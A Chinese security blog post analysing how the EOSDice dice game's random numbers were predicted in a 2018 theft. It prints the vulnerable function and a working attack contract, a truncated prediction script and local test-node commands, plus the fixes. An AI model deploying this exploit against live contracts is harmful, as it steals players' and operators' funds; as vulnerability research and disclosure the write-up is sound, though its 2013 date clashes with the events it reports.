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EOS DApp 随机数漏洞分析1 – EOSDice 随机数被预测

2013 年 9 月 9 日

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EOSDice 在2018年11月3日受到黑客攻击，被盗2,545 EOS，约合 1.35 万美元，针对这个漏洞，零时科技团队进行了详细的分析及攻击过程复盘，尽管这个漏洞已经发生过一段时间，不过这个因随机数被预测引发的漏洞还是比较典型。

漏洞背景

EOSDice 在2018年11月3日受到黑客攻击，根据 EOSDice 官方通告，此次攻击共被盗 2,545.1135 EOS ，约 1.35 万美元，当时价格 1 EOS ≈ 5.13 USD），下图为交易截图：

技术分析

由于 EOSDice 被攻击是因为该游戏的的随机数算法被破解，而且使用的 defer action 进行开奖。那我们具体分析一下 EOSDice 的随机数算法是否存在漏洞。

EOSDice 合约所使用的随机数

因为 EOSDice 的合约已经开源，我们从 Github 合约源码 找到了 EOSDice 的随机数算法，代码如下： 

uint8_t random(account_name name, uint64_t game_id)
{
    asset pool_eos = eosio::token(N(eosio.token)).get_balance(_self, symbol_type(S(4, EOS)).name());
    auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + pool_eos.amount;

    const char *mixedChar = reinterpret_cast(&mixd);

    checksum256 result;
    sha256((char *)mixedChar, sizeof(mixedChar), &result);

    uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
    return (uint8_t)(random_num % 100 + 1);
}

可以看到， EOSDice 官方的随机数算法为6个随机数种子进行数学运算，再哈希，最后再进行一次数学运算。 EOSDice 官方选择的随机数种子为

  • tapos_block_prefix # ref block 的信息
  • tapos_block_num # ref block 的信息
  • account_name # 本合约的名字
  • game_id # 本次游戏的游戏id，从1自增
  • current_time # 当前开奖的时间戳
  • pool_eos # 本合约的EOS余额

随机数种子分析

其中随机数种子 account_name 、 game_id 、 pool_eos 很容易获取到，那么如果需要预测随机数，必须要预测所有的随机数种子，也就是 说 current_time 、 tapos_block_prefix 、 tapos_block_num 也要可以预测。

  1. 那么，首先分析 current_time 是否可以预测

根据 EOS 官方的描述

其实返回的就是一个时间戳，由于 EOSDice 开奖使用的是 defer action （延时交易），因此，我们只需要知道下注的 action 的时间戳再加上 delay_sec 就可以算出开奖 reval 的时间戳了。 EOSDice 的 delay_sec 为1秒，所以 开奖时时间戳 = 下注时时间戳 + 1000000 。

  1. 接着，我们分析 tapos_block_prefix 和 tapos_block_num 是否可以预测

注： tapos: Transactions as Proof-of-Stake (TaPOS) 它指定一个过去的区块（ ref_block_num ），用来做 Proof-of-Stake 的 ， 代码中使用的 tapos_block_prefix 和tapos_block_num， 正是由这个 ref_block_num 算出来的。

其实， tapos_block_prefix 和 tapos_block_num 均为开奖 block 的 ref block 的信息。 EOS 为了防止分叉，所以每一个 block 都会有一个 ref block 也就是引用块。因为 reveal 开奖的块在下注前并不知道，它的 ref block 看似也不知道，所以貌似这两个种子是未来的值。不过，根据 EOS 的机制，因为开奖采用的是 defer action ，所以 reveal 开奖块的 ref block 为下注块的前一个块，也就是说 tapos_block_prefix 和 tapos_block_num 是在下注前可以获取到的！

至此， EOSDice 的随机数种子在下注前均可以获取，那就意味着我们可以在下注前预测到下注后的随机数，完全可以达到必中的效果。

攻击合约

下面是我们测试攻击的合约，完成的功能是根据 EOSDice 的随机数算法来预测此次下注的随机数的值，然后选择 roll 的值比预测值大一即可中奖。 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include "eosio.token.hpp"

using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;


class attack : public eosio::contract {
    public:
        attack(account_name self):eosio::contract(self)
        {}

        uint8_t random(account_name name, uint64_t game_id, uint32_t prefix, uint32_t num)
        {
            asset pool_eos = eosio::token(N(eosio.token)).get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name());
            auto amount = pool_eos.amount + 10000;
            auto time = current_time() + 1000000;
            //auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + pool_eos.amount;
            auto mixd = prefix * num + name + game_id - time + amount;
            
            print(
                "[ATTACK RANDOM]tapos-prefix=>", (uint32_t)prefix, 
                "|tapos-num=>", num, 
                "|current_time=>", time,
                "|game_id=>", game_id,
                "|poll_amount=>", amount,
                "\n"
            );
            const char *mixedChar = reinterpret_cast(&mixd);

            checksum256 result;
            sha256((char *)mixedChar, sizeof(mixedChar), &result);

            uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
            return (uint8_t)(random_num % 100 + 1);
        }

        //@abi action
        void hi(uint64_t id, uint32_t block_prefix, uint32_t block_num)
        {
            //uint8_t roll;
            uint8_t random_roll = random(N(attacker), id, block_prefix, block_num);
            print("[ATTACK]predict random num =>", (int)random_roll,"\n");
            if((int)random_roll >2 && (int)random_roll <94)
            {
                int roll = (int)random_roll + 1;
                auto dice_str = "dice-noneage-" + std::to_string(roll) + "-user";
                print("[ATTACK]current_time=>", current_time(), "\n");
                print(
                    "[ATTACK]tapos-prefix=>", (uint32_t)tapos_block_prefix(), 
                    "|tapos-num=>", tapos_block_num(),
                    "\n"
                );
                print("[ATTACK] before transfer");
                action(
                    permission_level{_self, N(active)},
                    N(eosio.token), N(transfer),
                    std::make_tuple(_self, N(eosbocai2222), asset(10000, S(4, EOS)), dice_str)
                ).send();
            }
        }
};

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
   void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
      auto self = receiver; \
      if( code == self || code == N(eosio.token)) { \
         if( action == N(transfer)){ \
                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
         } \
         TYPE thiscontract( self ); \
         switch( action ) { \
            EOSIO_API( TYPE, MEMBERS ) \
         } \
         /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
      } \
   } \
}

EOSIO_ABI_EX( attack,
        (hi)
)

攻击脚本

下面，我们的测试攻击脚本，完成的功能是获取最新的块和块的id，计算出 EOSDice 开奖 action 的 tapos_block_prefix 和 tapos_block_num ，发送给上一个测试攻击的合约。

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div>

import requests
import json
import os
import binascii
import struct
import sys

game_id = sys.argv[1]
# get tapos block num
url = "http://127.0.0.1:8888/v1/chain/get_info"
response = requests.request("POST", url)
res = json.loads(response.text)
last_block_num = res["head_block_num"]
# get tapos block id
url = "http://127.0.0.1:8888/v1/chain/get_block"
data = {"block_num_or_id":last_block_num}
response = requests.post(url, data=json.dumps(data))
res = json.loads(response.text)
last_block_hash = res["id"]
# get tapos block prefix
block_prefix = struct.unpack("

攻击测试流程

  1. 创建相关账户并设置权限
# 创建EOSDICE相关账户和权限
cleos create account eosio eosbocai2222 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission eosbocai2222 active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbocai2222","permission":"eosio.code"},"weight":1}]}' owner -p eosbocai2222
# 创建攻击者相关账户机器权限
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission attacker active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"attacker","permission":"eosio.code"},"weight":1}]}' owner -p eosbocai1111

  1. 给相关账户发送代币
cleos push action eosio.token issue '["attacker", "10000.0000 EOS", "memo"]' -p eosio
cleos push action eosio.token issue '["eosbocai2222", "10000.0000 EOS", "memo"]' -p eosio

  1. 编译相关合约并部署
# 编译攻击合约
eosiocpp -o attack.wast attack.cpp
eosiocpp -g attack.abi attack.cpp
# 部署攻击合约
cleos set contract ~/attack -p attack@owner

# 编译EOSDICE合约
eosiocpp -o eosdice.wast eosbocai2222.cpp
eosiocpp -g eosdice.abi eosbocai2222.cpp
# 部署EOSDICE合约
cleos set code eosbocai2222 eosdice.wasm -p eosbocai2222@owner
cleos set abi eosbocai2222 eosdice.abi -p eosbocai2222@owner

  1. 初始化 EOSDice 合约 
cleos push action eosbocai2222 init '[""]' -p eosbocai2222

最后，我们来测试一下，我们可以很容易的获取到下次投注的 game_id ，此次为109。 

python script.py 109

我们看一下合约的执行结果，可以看出，攻击合约预测的随机数和 EOSDice 的开奖 action 算出来的完全一致！这样就可以达到每次必中！

官方漏洞修复方法

漏洞修复很简单（也引起了后面再次被盗）：

  1. 开奖的 action 由一次 defer action 变成了两次 defer action

漏洞修复代码在这个 提交 。

根据前面我们提到的内容， defer action 的 ref block 为发起 defer action 的前一个块。但是，在我们下注的时候这个块是无法预知的；

  1. 账户的余额用很多账户的总和加起来当成随机数种子

漏洞修复代码在这个 提交

EOSDice 的账户余额用了很多账户的余额的总和来当种子，这个貌似也是无法预测变化的。不过这样真的安全了吗？很明显，不是的，仅在漏洞修复6天后 EOSDice 再次受到随机数攻击，下篇文章会详细分析 EOS DApp 随机数漏洞分析2 - EOSDice 随机数被操控 。

推荐修复方法

如何得到安全的随机数是一个普遍的难题，在区块链上尤其困难，因为区块链上无法获取外部随机源。

关于区块链随机数，推荐阅读 区块链上的随机性（一）概述与构造 及 区块链上的构建随机性的项目分析

要在区块链上选择一个无法被提前预知种子确实困难。零时科技安全专家推荐参考 EOS 官方的 随机数生成方法 来生成较为安全的随机数。

文章用到的所有代码均在 github ， 本文所有过程均在本地测试节点完成。

参考链接

  1. EOS上如何安全生成随机数
  2. EOSDIEC 随机数被攻破
  3. eos 文档
  4. eosdice 合约源码
  5. eos 文档-生成随机数

本文由深入浅出区块链社区合作伙伴- 零时科技安全团队 提供。

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